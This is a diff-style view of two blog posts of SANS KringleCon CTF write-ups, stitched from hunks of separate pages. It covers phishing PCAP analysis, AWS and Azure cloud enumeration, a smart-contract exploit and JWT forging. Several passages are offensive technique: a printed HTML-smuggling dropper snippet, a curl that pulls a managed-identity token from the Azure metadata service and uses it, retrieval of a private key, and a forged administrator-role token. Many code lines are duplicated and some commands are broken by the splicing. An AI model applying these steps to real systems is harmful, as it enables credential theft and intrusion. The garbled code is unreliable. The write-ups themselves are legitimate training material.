<a href=https://lavafroth.is-a.dev/post/2-afternoons-2-languages-2-tuis/><span>2 Afternoons, 2 Languages, 2 TUIs</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/2-afternoons-2-languages-2-tuis/><span>2 Afternoons, 2 Languages, 2 TUIs</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -36,14 +36,14 @@ filesystem. The challenge introduction talked something about keys:</p><blockquo
</span></span></code></pre></div><p>Among the files listed, we can find <code>/mnt/vda/home/jailer/.ssh/jail.key.priv</code> whose contents can be listed by running:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>cat /mnt/vda/home/jailer/.ssh/jail.key.priv
</span></span></code></pre></div><p>This gives us the key <code>082bb339ec19de4935867</code> which can be submitted in our objectives section.</p><h3 id=wireshark-phishing>Wireshark Phishing</h3><p>We begin by saying <code>yes</code> to the challenge, downloading the PCAP file and opening it up in wireshark.
The following are the questions, their answers and explanations.</p><ol><li><p>There are objects in the PCAP file that can be exported by Wireshark and/or Tshark. What type of objects can be exported from this PCAP?</p><p>Answer: HTTP</p><p>Explanation: We can go to <code>File</code> > <code>Export Objects</code> > <code>HTTP ...</code></p></li></ol><p><img src=../../kringlecon/2022/export-http-objects.png alt="Exporting HTTP objects"></p><ol start=2><li><p>What is the file name of the largest file we can export?</p><p>Answer: <code>app.php</code></p><p>Explanation: In the export objects dialog, we notice the second entry with the largest size (808 kB) has the name <code>app.php</code></p></li></ol><p><img src=../../kringlecon/2022/Screenshot-from-2022-12-11-20-19-50.png alt=Screenshot-from-2022-12-11-20-19-50.png></p><ol start=3><li><p>What packet number starts that app.php file?</p><p>Answer: 687</p><p>Explanation: Right before the entry&rsquo;s name, we see it starts from packet 687</p></li><li><p>What is the IP of the Apache server?</p><p>Answer: <code>192.185.57.242</code></p><p>Explanation: We use the <code>http</code> filter in wireshark. We notice right at the first filtered entry, a GET request goes to <code>192.185.57.242</code></p></li></ol><p><img src=../../kringlecon/2022/Screenshot-from-2022-12-11-20-21-06.png alt=Screenshot-from-2022-12-11-20-21-06.png></p><ol start=5><li><p>What file is saved to the infected host?</p><p>Answer: Ref_Sept24-2020.zip</p><p>Explanation: At packet 687, we can inspect the line-based text data for the HTTP response and the embedded script seems to save a blob to the file &lsquo;Ref_Sept24-2020.zip&rsquo;.</p></li></ol><p><img src=../../kringlecon/2022/Screenshot-from-2022-12-11-20-23-02.png alt=Screenshot-from-2022-12-11-20-23-02.png></p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-js data-lang=js><span style=display:flex><span><span style=color:#75715e>// --{snip}--
</span></span></span><span style=display:flex><span><span style=color:#75715e></span> <span style=color:#66d9ef>let</span> <span style=color:#a6e22e>byteNumbers</span> <span style=color:#f92672>=</span> <span style=color:#66d9ef>new</span> Array(<span style=color:#a6e22e>byteCharacters</span>.<span style=color:#a6e22e>length</span>);
</span></span></span><span style=display:flex><span> <span style=color:#66d9ef>let</span> <span style=color:#a6e22e>byteNumbers</span> <span style=color:#f92672>=</span> <span style=color:#66d9ef>new</span> Array(<span style=color:#a6e22e>byteCharacters</span>.<span style=color:#a6e22e>length</span>);
</span></span><span style=display:flex><span> <span style=color:#66d9ef>for</span> (<span style=color:#66d9ef>let</span> <span style=color:#a6e22e>i</span> <span style=color:#f92672>=</span> <span style=color:#ae81ff>0</span>; <span style=color:#a6e22e>i</span> <span style=color:#f92672>&lt;</span> <span style=color:#a6e22e>byteCharacters</span>.<span style=color:#a6e22e>length</span>; <span style=color:#a6e22e>i</span><span style=color:#f92672>++</span>) {
</span></span><span style=display:flex><span> <span style=color:#a6e22e>byteNumbers</span>[<span style=color:#a6e22e>i</span>] <span style=color:#f92672>=</span> <span style=color:#a6e22e>byteCharacters</span>.<span style=color:#a6e22e>charCodeAt</span>(<span style=color:#a6e22e>i</span>);
</span></span><span style=display:flex><span> }
</span></span><span style=display:flex><span> <span style=color:#66d9ef>let</span> <span style=color:#a6e22e>byteArray</span> <span style=color:#f92672>=</span> <span style=color:#66d9ef>new</span> <span style=color:#a6e22e>Uint8Array</span>(<span style=color:#a6e22e>byteNumbers</span>);
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span> <span style=color:#75715e>// now that we have the byte array, construct the blob from it
</span></span></span><span style=display:flex><span><span style=color:#75715e></span> <span style=color:#66d9ef>let</span> <span style=color:#a6e22e>blob1</span> <span style=color:#f92672>=</span> <span style=color:#66d9ef>new</span> <span style=color:#a6e22e>Blob</span>([<span style=color:#a6e22e>byteArray</span>], {<span style=color:#a6e22e>type</span><span style=color:#f92672>:</span> <span style=color:#e6db74>&#39;application/octet-stream&#39;</span>});
</span></span></span><span style=display:flex><span> <span style=color:#66d9ef>let</span> <span style=color:#a6e22e>blob1</span> <span style=color:#f92672>=</span> <span style=color:#66d9ef>new</span> <span style=color:#a6e22e>Blob</span>([<span style=color:#a6e22e>byteArray</span>], {<span style=color:#a6e22e>type</span><span style=color:#f92672>:</span> <span style=color:#e6db74>&#39;application/octet-stream&#39;</span>});
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span> <span style=color:#a6e22e>saveAs</span>(<span style=color:#a6e22e>blob1</span>, <span style=color:#e6db74>&#39;Ref_Sept24-2020.zip&#39;</span>);
</span></span><span style=display:flex><span>
@@ -181,7 +181,7 @@ Default output format [None]:
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;IsTruncated&#34;</span>: <span style=color:#66d9ef>false</span>
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>Now we are asked to <code>get</code> the policy attached to our user. We will use the <code>get-policy</code> subcommand and supply the value of the <code>PolicyArn</code> field from the previous output to the <code>--policy-arn</code> flag.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>aws iam get-policy <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span>--policy-arn <span style=color:#e6db74>&#34;arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY&#34;</span>
</span></span></span><span style=display:flex><span>--policy-arn <span style=color:#e6db74>&#34;arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY&#34;</span>
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;Policy&#34;</span>: {
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;PolicyName&#34;</span>: <span style=color:#e6db74>&#34;TIER1_READONLY_POLICY&#34;</span>,
@@ -199,8 +199,8 @@ Default output format [None]:
</span></span><span style=display:flex><span> }
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>We need to view the default version of the policy.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>aws iam get-policy-version <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span>--policy-arn <span style=color:#e6db74>&#34;arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY&#34;</span> <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span>--version-id v1
</span></span></span><span style=display:flex><span>--policy-arn <span style=color:#e6db74>&#34;arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY&#34;</span> <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span>--version-id v1
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;PolicyVersion&#34;</span>: {
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;Document&#34;</span>: {
@@ -493,7 +493,7 @@ Just in case they try this again, please alert on that HTTP data with message Su
We submit this in our set of objectives and that solves this challenge. Easy? I&rsquo;ll take it.</p><h3 id=exploit-a-smart-contract>Exploit a Smart Contract</h3><p>This challenge asks us to exploit flaws in a smart contract to buy ourselves a Bored Sporc NFT. Let&rsquo;s go to the presale page of The Bored Sporc Rowboat Society.
The presale price for a Sporc is 100 KringleCoin (KC). At this point, I checked my wallet balance and it turned out to be 455 KC, enough to buy 4 of these NFTs. First we have to pre-approve 100 KC to the address provided.
Looking at the source code of the presale page (hit <code>^u</code> or follow the images), especially <code>https://boredsporcrowboatsociety.com/bsrs.js</code>, we find that the root address of the Merkle tree is being sent in the AJAX POST request.</p><p><img src=../../kringlecon/2022/Screenshot-from-2022-12-12-10-45-37.png alt=Screenshot-from-2022-12-12-10-45-37.png></p><p><img src=../../kringlecon/2022/Screenshot-from-2022-12-12-10-50-19.png alt=Screenshot-from-2022-12-12-10-50-19.png></p><p>Check out the last line of the following snippet from <code>bsrs.js</code>:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-js data-lang=js><span style=display:flex><span><span style=color:#75715e>// --{snip}--
</span></span></span><span style=display:flex><span><span style=color:#75715e></span>
</span></span></span><span style=display:flex><span>
</span></span><span style=display:flex><span> <span style=color:#66d9ef>var</span> <span style=color:#a6e22e>address</span> <span style=color:#f92672>=</span> document.<span style=color:#a6e22e>getElementById</span>(<span style=color:#e6db74>&#34;wa&#34;</span>).<span style=color:#a6e22e>value</span>;
</span></span><span style=display:flex><span> <span style=color:#66d9ef>var</span> <span style=color:#a6e22e>proof</span> <span style=color:#f92672>=</span> document.<span style=color:#a6e22e>getElementById</span>(<span style=color:#e6db74>&#39;proof&#39;</span>).<span style=color:#a6e22e>value</span>;
</span></span><span style=display:flex><span> <span style=color:#66d9ef>var</span> <span style=color:#a6e22e>root</span> <span style=color:#f92672>=</span> <span style=color:#e6db74>&#39;0x52cfdfdcba8efebabd9ecc2c60e6f482ab30bdc6acf8f9bd0600de83701e15f1&#39;</span>;
@@ -637,4 +637,4 @@ dialogues.</p></section><footer class=post-tags data-pagefind-meta=tags><a href=
<a href=https://lavafroth.is-a.dev/tags/reverse-engineering class=list-tag>Reverse Engineering</a>
<a href=https://lavafroth.is-a.dev/tags/web class=list-tag>Web</a>
<a href=https://lavafroth.is-a.dev/tags/wireshark class=list-tag>Wireshark</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/picoctf-web-some-assembly-required-3/><span></span><span>Some Assembly Required 3</span></a>
<a href=https://lavafroth.is-a.dev/post/picoctf-cryptography-pixelated/><span>Pixelated</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/picoctf-cryptography-pixelated/><span>Pixelated</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -416,7 +416,7 @@ scanned 1 barcode symbols from 1 images in 0.28 seconds
</code></pre><p>The QR code links to <a href=https://8bitelf.com>https://8bitelf.com</a> which has the text</p><pre tabindex=0><code>flag:santaconfusedgivingplanetsqrcode
</code></pre><p>We can submit the flag in our objectives to mark this complete.</p><h2 id=elf-the-dwarfs-gloriously-unfinished-adventure---vol2>Elf the Dwarfs, Gloriously, Unfinished, Adventure! - Vol2</h2><p><img src=../../kringlecon/2023/elf-the-dwarf-vol2-00-tinsel-upatree.avif alt="Tinsel Upatree tells us: &ldquo;Did you know that many games had multiple versions released? Word is: volume 2 has 2 versions!&rdquo;"></p><p>Hint:</p><blockquote><ol><li>This feels the same, but different!</li><li>If it feels like you are going crazy, you probably are! Or maybe, just maybe, you&rsquo;ve not yet figured out where the hidden ROM is hiding.</li><li>I think I may need to get a DIFFerent perspective.</li><li>I wonder if someone can give me a few pointers to swap.</li></ol></blockquote><p>To focus on the game, let&rsquo;s open the iframe in a new tab.</p><p>There are two versions of the game, where the player is either above or below a treeline with an invisible wall in the middle of the map.
We want the player to be able to teleport to the other side of the invisible wall.</p><p>In the devtools Sources tab, we can look at the script being loaded under <code>js/script.js</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-js data-lang=js><span style=display:flex><span><span style=color:#75715e>// Load a ROM.
</span></span></span><span style=display:flex><span><span style=color:#75715e></span>(<span style=color:#66d9ef>async</span> <span style=color:#66d9ef>function</span> <span style=color:#a6e22e>go</span>() {
</span></span></span><span style=display:flex><span>(<span style=color:#66d9ef>async</span> <span style=color:#66d9ef>function</span> <span style=color:#a6e22e>go</span>() {
</span></span><span style=display:flex><span> <span style=color:#66d9ef>let</span> <span style=color:#a6e22e>ranNum</span> <span style=color:#f92672>=</span> Math.<span style=color:#a6e22e>round</span>(Math.<span style=color:#a6e22e>random</span>()).<span style=color:#a6e22e>toString</span>()
</span></span><span style=display:flex><span> <span style=color:#66d9ef>let</span> <span style=color:#a6e22e>filename</span> <span style=color:#f92672>=</span> <span style=color:#a6e22e>ROM_FILENAME</span> <span style=color:#f92672>+</span> <span style=color:#a6e22e>ranNum</span> <span style=color:#f92672>+</span> <span style=color:#e6db74>&#34;.gb&#34;</span>;
</span></span><span style=display:flex><span> <span style=color:#a6e22e>console</span>.<span style=color:#a6e22e>log</span>(<span style=color:#a6e22e>filename</span>);
@@ -502,7 +502,7 @@ We have a cookie called &ldquo;ElfHunt_JWT&rdquo; with the JWT value of &ldquo;e
</span></span></code></pre></div><p>We could play the game by lowering the speed but there&rsquo;s an even easier way.</p><p>Looking at the first line of the update function in the loaded <code>script.js</code>,</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-js data-lang=js><span style=display:flex><span><span style=color:#66d9ef>function</span> <span style=color:#a6e22e>update</span>() {
</span></span><span style=display:flex><span> <span style=color:#a6e22e>score</span> <span style=color:#f92672>&gt;=</span> <span style=color:#ae81ff>75</span> <span style=color:#f92672>&amp;&amp;</span> (<span style=color:#a6e22e>sessionJWT</span>.<span style=color:#a6e22e>w</span> <span style=color:#f92672>=</span> <span style=color:#f92672>!</span><span style=color:#ae81ff>0</span>, document.<span style=color:#a6e22e>cookie</span> <span style=color:#f92672>=</span> <span style=color:#e6db74>`</span><span style=color:#e6db74>${</span><span style=color:#a6e22e>sessionKeyName</span><span style=color:#e6db74>}</span><span style=color:#e6db74>=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.</span><span style=color:#e6db74>${</span><span style=color:#a6e22e>btoa</span>(<span style=color:#a6e22e>JSON</span>.<span style=color:#a6e22e>stringify</span>(<span style=color:#a6e22e>sessionJWT</span>))<span style=color:#e6db74>}</span><span style=color:#e6db74>.; path=/; secure; samesite=none;`</span>, <span style=color:#a6e22e>gameScene</span>.<span style=color:#a6e22e>scene</span>.<span style=color:#a6e22e>pause</span>(), window.<span style=color:#a6e22e>location</span>.<span style=color:#a6e22e>reload</span>())
</span></span><span style=display:flex><span> <span style=color:#75715e>// rest of the function
</span></span></span><span style=display:flex><span><span style=color:#75715e></span>}
</span></span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>we notice that the moment the score is greater than or equal to 75, the <code>w</code> property of the sessionJWT is set to true, the document cookie is
updated, the game is paused and the window is refreshed. There is no apparent <code>if-else</code> condition here because the script uses some clever javascript
code using the <code>antecedent && consequent</code> pattern. Since the operands ANDed are lazily evaluated, we just need to set the score to 75 or above.</p><p>In devtools console, we simply add the following code:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-js data-lang=js><span style=display:flex><span><span style=color:#a6e22e>speed</span> <span style=color:#f92672>=</span> <span style=color:#ae81ff>75</span>
@@ -537,7 +537,7 @@ We can exit this interface by interrupting it with <code>ctrl</code> <code>c</co
</span></span></code></pre></div><p>Let&rsquo;s save this access token to an environment variable so that we can use it for subsequent requests. Since we have to use the token in the <em>Authorization</em>, we set another environment variable to the header value itself.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>TOKEN<span style=color:#f92672>=</span><span style=color:#66d9ef>$(</span>curl --http1.1 <span style=color:#e6db74>&#39;http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&amp;resource=https://management.azure.com/&#39;</span> --header <span style=color:#e6db74>&#34;Metadata: true&#34;</span> | jq -r .access_token<span style=color:#66d9ef>)</span>
</span></span><span style=display:flex><span>HEADER<span style=color:#f92672>=</span><span style=color:#e6db74>&#34;Authorization: Bearer </span>$TOKEN<span style=color:#e6db74>&#34;</span>
</span></span></code></pre></div><p>Let&rsquo;s now retrieve the subscriptions and resources.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>curl --header <span style=color:#e6db74>&#34;</span>$HEADER<span style=color:#e6db74>&#34;</span> <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span>https://management.azure.com/subscriptions?api-version<span style=color:#f92672>=</span>2022-12-01
</span></span></span><span style=display:flex><span>https://management.azure.com/subscriptions?api-version<span style=color:#f92672>=</span>2022-12-01
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;value&#34;</span>: [
</span></span><span style=display:flex><span> {
@@ -565,7 +565,7 @@ We can exit this interface by interrupting it with <code>ctrl</code> <code>c</co
</span></span><span style=display:flex><span> }
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>Now that we have the subscription ID <code>2b0942f3-9bca-484b-a508-abdae2db5e64</code>, we can use this to further drill down the resource ID.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>curl --header <span style=color:#e6db74>&#34;</span>$HEADER<span style=color:#e6db74>&#34;</span> <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span>https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resources?api-version<span style=color:#f92672>=</span>2021-04-01
</span></span></span><span style=display:flex><span>https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resources?api-version<span style=color:#f92672>=</span>2021-04-01
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;value&#34;</span>: [
</span></span><span style=display:flex><span> {
@@ -585,7 +585,7 @@ We can exit this interface by interrupting it with <code>ctrl</code> <code>c</co
</span></span><span style=display:flex><span> ]
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>We use the name of the azure website as the site name. This is the <code>northpole-ssh-certs-fa</code> subdomain in <a href=https://northpole-ssh-certs-fa.azurewebsites.net/>https://northpole-ssh-certs-fa.azurewebsites.net/</a>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>curl --header <span style=color:#e6db74>&#34;</span>$HEADER<span style=color:#e6db74>&#34;</span> <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span>https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Web/sites/northpole-ssh-certs-fa/sourcecontrols/web?api-version<span style=color:#f92672>=</span>2022-03-01
</span></span></span><span style=display:flex><span>https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Web/sites/northpole-ssh-certs-fa/sourcecontrols/web?api-version<span style=color:#f92672>=</span>2022-03-01
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;id&#34;</span>: <span style=color:#e6db74>&#34;/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Web/sites/northpole-ssh-certs-fa/sourcecontrols/web&#34;</span>,
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;name&#34;</span>: <span style=color:#e6db74>&#34;northpole-ssh-certs-fa&#34;</span>,
@@ -669,22 +669,22 @@ the public key is present in the <code>/jwtDefault/keys/capsPubKey.key</code>.</
</span></span></code></pre></div><p>Chimney Scissorsticks told us that the captain likes to abbreviate words in his filenames. With that in mind, we can probe for the existence of <code>rDecoder.tok</code> using the newfound <code>rMonitor.tok</code> token for authorization.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>curl https://captainscomms.com/jwtDefault/rDecoder.tok
</span></span></code></pre></div><pre tabindex=0><code>Invalid authorization token provided.
</code></pre><p>As expected, the <code>rDecoder.tok</code> file does exist. To actually get it, however, we must supply the authorization header with the <code>rMonitor</code> token.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>wget --header <span style=color:#e6db74>&#34;Authorization: Bearer </span><span style=color:#66d9ef>$(</span>cat rMonitor.tok<span style=color:#66d9ef>)</span><span style=color:#e6db74>&#34;</span> <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span> https://captainscomms.com/jwtDefault/rDecoder.tok
</span></span></span><span style=display:flex><span> https://captainscomms.com/jwtDefault/rDecoder.tok
</span></span></code></pre></div><p>We repeat the process as above and paste this new token as the value for the <code>JustWatchThis</code> cookie.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>cat rDecoder.tok | wl-copy
</span></span></code></pre></div><p>Accessing the monitor after pasting, we can decode each signal peak left to right.</p><p><img src alt></p><p>Decoding the first signal peak tells us that the captain&rsquo;s private key is located in a folder called <code>TH3CAPSPR1V4T3F0LD3R</code>.</p><p><img src alt></p><p>The second signal peak decodes to e03 interval signal messages like the Lincolnshire Poacher.
The contents of the message is <code>12249 12249 16009 16009 12249 12249 16009 16009</code>.</p><p>The last signal peak decodes to provide an image with the frequency 10426 written on it.</p><p>Knowing the captain&rsquo;s use of abbreviations, we can assume that like the public key&rsquo;s name <code>capsPubKey.key</code>, the private key
is probably named <code>capsPrivKey.key</code>. We can probe for it without an authorization header.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>curl https://captainscomms.com/jwtDefault/keys/TH3CAPSPR1V4T3F0LD3R/capsPrivKey.key
</span></span></code></pre></div><pre tabindex=0><code>Invalid authorization token provided.
</code></pre><p>This means that the file exists! Let&rsquo;s retrieve it with our <code>rDecoder.tok</code> token for authorization.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>curl https://captainscomms.com/jwtDefault/keys/TH3CAPSPR1V4T3F0LD3R/capsPrivKey.key <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span>--header <span style=color:#e6db74>&#34;Authorization: Bearer </span><span style=color:#66d9ef>$(</span>cat rDecoder.tok<span style=color:#66d9ef>)</span><span style=color:#e6db74>&#34;</span> <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span>-O
</span></span></span><span style=display:flex><span>--header <span style=color:#e6db74>&#34;Authorization: Bearer </span><span style=color:#66d9ef>$(</span>cat rDecoder.tok<span style=color:#66d9ef>)</span><span style=color:#e6db74>&#34;</span> <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span>-O
</span></span></code></pre></div><p>Now that we have the private key, we can use it to sign and forge tokens with any role of our choice.</p><p>Opening the captain&rsquo;s todo list, we see the captain talking about his role and how the journal he left
on pixel island has details about this role.</p><p>Indeed, when we played the duck hunt game, the victory screen gave us the journal where the captain talked about the
<code>GeeseIslandSuperChiefCommunicationsOfficer</code> role.</p><p>We can use <a href=https://cyberchef.org>cyberchef</a> to change the token payload, modifying our role from <code>radioDecoder</code> to
<code>GeeseIslandSuperChiefCommunicationsOfficer</code> and sign it with the private key.</p><p>We use the JWT Sign operation in our recipe, set the signing algorithm to <code>RS256</code> and paste the captain&rsquo;s private key in the <code>Private/Secret Key</code> field.</p><p>We can decode the payload from the <code>rDecoder.tok</code> file, replace the <code>radioDecoder</code> role with the new role and copy it to clipboard.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>cut -d. -f2 rDecoder.tok <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span>| base64 -d <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span>| sed s/radioDecoder/GeeseIslandsSuperChiefCommunicationsOfficer/g <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span>| wl-copy
</span></span></span><span style=display:flex><span>| base64 -d <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span>| sed s/radioDecoder/GeeseIslandsSuperChiefCommunicationsOfficer/g <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span>| wl-copy
</span></span></code></pre></div><p>Finally, we paste this into the input field of cyberchef.</p><p><img src alt></p><p>Now, we paste the output of cyberchef as the <code>JustWatchThis</code> cookie&rsquo;s value.</p><p><img src alt></p><pre tabindex=0><code>eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6IkdlZXNlSXNsYW5kc1N1cGVyQ2hpZWZDb21tdW5pY2F0aW9uc09mZmljZXIifQ.N-8MdT6yPFge7zERpm4VdLdVLMyYcY_Wza1TADoGKK5_85Y5ua59z2Ke0TTyQPa14Z7_Su5CpHZMoxThIEHUWqMzZ8MceUmNGzzIsML7iFQElSsLmBMytHcm9-qzL0Bqb5MeqoHZYTxN0vYG7WaGihYDTB7OxkoO_r4uPSQC8swFJjfazecCqIvl4T5i08p5Ur180GxgEaB-o4fpg_OgReD91ThJXPt7wZd9xMoQjSuPqTPiYrP5o-aaQMcNhSkMix_RX1UGrU-2sBlL01FxI7SjxPYu4eQbACvuK6G2wyuvaQIclGB2Qh3P7rAOTpksZSex9RjtKOiLMCafTyfFng
</code></pre><p>The transmitter asks for a frequency, a go-date and a go-time. We supply the frequency we found earlier.
